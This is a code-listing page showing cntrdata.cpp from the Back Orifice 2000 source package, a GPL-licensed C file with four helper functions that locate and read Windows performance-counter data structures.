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cntrdata.cpp
Package: bo2ksrc.zip [view]
Upload User: jinandeyu
Upload Date: 2007-01-05
Package Size: 620k
Code Size: 3k
Category:
Remote Control
Development Platform:
WINDOWS
- /* Back Orifice 2000 - Remote Administration Suite
- Copyright (C) 1999, Cult Of The Dead Cow
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- The author of this program may be contacted at dildog@l0pht.com. */
- #include <windows.h>
- #include <winperf.h>
- #include <perfdata.h>
- // FirstCounter() - Find the first counter in pObject.
- // Returns a pointer to the first counter. If pObject is NULL
- // then NULL is returned.
- PPERF_COUNTER FirstCounter (PPERF_OBJECT pObject)
- {
- if (pObject)
- return (PPERF_COUNTER)((PCHAR) pObject + pObject->HeaderLength);
- else
- return NULL;
- }
- // NextCounter() - Find the next counter of pCounter.
- // If pCounter is the last counter of an object type, bogus data
- // maybe returned. The caller should do the checking.
- // Returns a pointer to a counter. If pCounter is NULL then
- // NULL is returned.
- PPERF_COUNTER NextCounter (PPERF_COUNTER pCounter)
- {
- if (pCounter)
- return (PPERF_COUNTER)((PCHAR) pCounter + pCounter->ByteLength);
- else
- return NULL;
- }
- // FindCounter() - Find a counter specified by TitleIndex.
- // Returns a pointer to the counter. If counter is not found
- // then NULL is returned.
- PPERF_COUNTER FindCounter (PPERF_OBJECT pObject, DWORD TitleIndex)
- {
- PPERF_COUNTER pCounter;
- DWORD i = 0;
- if (pCounter = FirstCounter (pObject))
- while (i < pObject->NumCounters)
- {
- if (pCounter->CounterNameTitleIndex == TitleIndex)
- return pCounter;
- pCounter = NextCounter (pCounter);
- i++;
- }
- return NULL;
- }
- // CounterData() - Returns counter data for an object instance.
- // If pInst or pCount is NULL then NULL is returned.
- PVOID CounterData (PPERF_INSTANCE pInst, PPERF_COUNTER pCount)
- {
- PPERF_COUNTER_BLOCK pCounterBlock;
- if (pCount && pInst)
- {
- pCounterBlock = (PPERF_COUNTER_BLOCK)((PCHAR)pInst + pInst->ByteLength);
- return (PVOID)((PCHAR)pCounterBlock + pCount->CounterOffset);
- }
- else
- return NULL;
- }